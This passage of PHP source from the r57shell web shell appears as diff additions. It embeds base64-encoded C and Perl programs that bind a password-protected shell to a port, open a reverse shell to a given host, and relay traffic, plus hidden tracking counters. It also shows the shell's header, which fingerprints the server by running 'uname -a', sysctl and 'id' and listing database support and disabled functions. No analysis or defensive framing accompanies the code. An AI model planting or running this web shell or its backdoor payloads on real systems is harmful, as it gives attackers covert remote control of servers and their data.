$this->FileMatchesCount[$filename] = 0; + $FileStrings = @file($filename) or @next; + for($a=0;$a<@count($FileStrings);$a++) + { + $count = 0; + $CurString = $FileStrings[$a]; + $CurString = @Trim($CurString); + $CurString = @strip_tags($CurString); + $aa = ''; + if(($count = @preg_match_all($pattern,$CurString,$aa))) + { + $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString); + $this->ResultFiles[$filename][$a+1] = $CurString; + $this->MatchesCount += $count; + $this->FileMatchesCount[$filename] += $count; + } + } + } + $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); + } + } + function getmicrotime() + { + list($usec,$sec) = @explode(" ",@microtime()); + return ((float)$usec + (float)$sec); + } +$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS +A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I +GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt +b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 +pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF +NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK +ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog +ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk +7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 +9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld +2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu +dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp +lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; +$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS +VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs +JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV +TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG +lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK +Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i +Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N +lIENPTk47DQpleGl0IDA7DQp9DQp9"; +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC +BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb +SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd +KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ +sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC +Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D +QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp +Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; +$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 +x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb +HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj +aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ +lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm +xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga +W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy +LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV +udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow +0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb +iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l +KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA +gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS +hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC +iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh +ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ +vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC +AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D +QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh +ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 +gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay +wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c +29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy +MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA +gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci +5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ +HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu +dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 +KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC +ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI +E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp +Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs +NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG +J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL +CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp +dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo +gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm +lsZSk7DQogIHJldHVybiAwOw0KfQ=="; +$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I +CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl +bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU +gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol +NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC +iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy +aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ +SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 +xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ +WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN +CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 +yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi +I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc +m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp +IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ +lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW +QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK +CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g +c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 +NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG +UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I +DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs +ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J +1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; +$c1 = "PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2 +JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2l +lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iKyhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW +FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hvdGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L +3NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4yIj5ob3Rsb2dfanM9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgr +J3gnK3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci5hcHBOYW1lLnN1YnN0cmluZygwLDMpPT0iTWljIikpP3NjcmVlbi5jb2xvckRlcHR +oOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGxvZ19qcz0iMS4zIjwvc2NyaXB0Pj +xzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19yKz0iJmpzPSIraG90bG9nX2pzO2RvY3VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwO +i8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9wJz48aW1nICIrIiBzcmM9J2h0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2hv +dGxvZy9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aWR0aD0xIGhlaWdodD0xIGFsdD0xPjwvYT4iKTwvc2NyaXB0Pjxub3NjcmlwdD48YSB +ocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhcmdldD1fdG9wPjxpbWdzcmM9Imh0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2 +hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lkdGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L25vc2NyaXB0Pg=="; +$c2 = "PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3JpdGUoJzxh +IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl +hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz +tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa +XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u +8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV +ybmV0LS0+"; +echo $head; +echo '</head>'; +if(empty($_POST['cmd'])) { +$serv = array(127,192,172,10); +$addr=@explode('.', $_SERVER['SERVER_ADDR']); +$current_version = str_replace('.','',$version); +if (!in_array($addr[0], $serv)) { +@print ""; +@readfile ("");}} +echo '<body bgcolor="#e4e0d8"><table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> +<tr><td bgcolor=#cccccc width=160><font face=Verdana size=2>'.ws(1).'&nbsp; +<font face=Webdings size=6><b>!</b></font><b>'.ws(2).'r57shell '.$version.'</b> +</font></td><td bgcolor=#cccccc><font face=Verdana size=-2>'; +echo ws(2); +echo "<b>".date ("d-m-Y H:i:s")."</b>"; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpinfo title=\"".$lang[$language.'_text46']."\"><b>phpinfo</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?phpini title=\"".$lang[$language.'_text47']."\"><b>php.ini</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?cpu title=\"".$lang[$language.'_text50']."\"><b>cpu</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?mem title=\"".$lang[$language.'_text51']."\"><b>mem</b></a> ".$rb; +echo ws(2).$lb." <a href=".$_SERVER['PHP_SELF']."?tmp title=\"".$lang[$language.'_text48']."\"><b>tmp</b></a> ".$rb.$rb."<br>"; +echo ws(2); +echo (($safe_mode)?("safe_mode: <b><font color=green>ON</font></b>"):("safe_mode: <b><font color=red>OFF</font></b>")); +echo ws(2); +echo "PHP version: <b>".@phpversion()."</b>"; +$curl_on = @function_exists('curl_version'); +echo ws(2); +echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b>"):("<b><font color=red>OFF</font></b>")); +echo ws(2); +echo "MySQL: <b>"; +$mysql_on = @function_exists('mysql_connect'); +if($mysql_on){ +echo "<font color=green>ON</font></b>"; } else { echo "<font color=red>OFF</font></b>"; } +echo ws(2); +echo "MSSQL: <b>"; +$mssql_on = @function_exists('mssql_connect'); +if($mssql_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo ws(2); +echo "PostgreSQL: <b>"; +$pg_on = @function_exists('pg_connect'); +if($pg_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo ws(2); +echo "Oracle: <b>"; +$ora_on = @function_exists('ocilogon'); +if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b>";} +echo "<br>".ws(2); +echo "Disable functions : <b>"; +if(''==($df=@ini_get('disable_functions'))){echo "<font color=green>NONE</font></b>";}else{echo "<font color=red>$df</font></b>";} +$free = @diskfreespace($dir); +if (!$free) {$free = 0;} +$all = @disk_total_space($dir); +if (!$all) {$all = 0;} +$used = $all-$free; +$used_percent = @round(100/($all/$free),2); +echo "<br>".ws(2)."HDD Free : <b>".view_size($free)."</b> HDD Total : <b>".view_size($all)."</b>"; +echo '</font></td></tr><table> +<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000> +<tr><td align=right width=100>'; +echo $font; +if(!$windows){ +echo '<font color=blue><b>uname -a :'.ws(1).'<br>sysctl :'.ws(1).'<br>$OSTYPE :'.ws(1).'<br>Server :'.ws(1).'<br>id :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>'; +echo "</td><td>"; +echo "<font face=Verdana size=-2 color=red><b>"; +$uname = ex('uname -a'); +echo((!empty($uname))?(ws(3).@substr($uname,0,120)."<br>"):(ws(3).@substr(@php_uname(),0,120)."<br>")); +if(!$safe_mode){ +$bsd1 = ex('sysctl -n kern.ostype'); +$bsd2 = ex('sysctl -n kern.osrelease'); +$lin1 = ex('sysctl -n kernel.ostype'); +$lin2 = ex('sysctl -n kernel.osrelease'); +} +if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; } +else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; } +else { $sysctl = "-"; } +echo ws(3).$sysctl."<br>"; +echo ws(3).ex('echo $OSTYPE')."<br>"; +echo ws(3).@substr($SERVER_SOFTWARE,0,120)."<br>"; +$id = ex('id'); 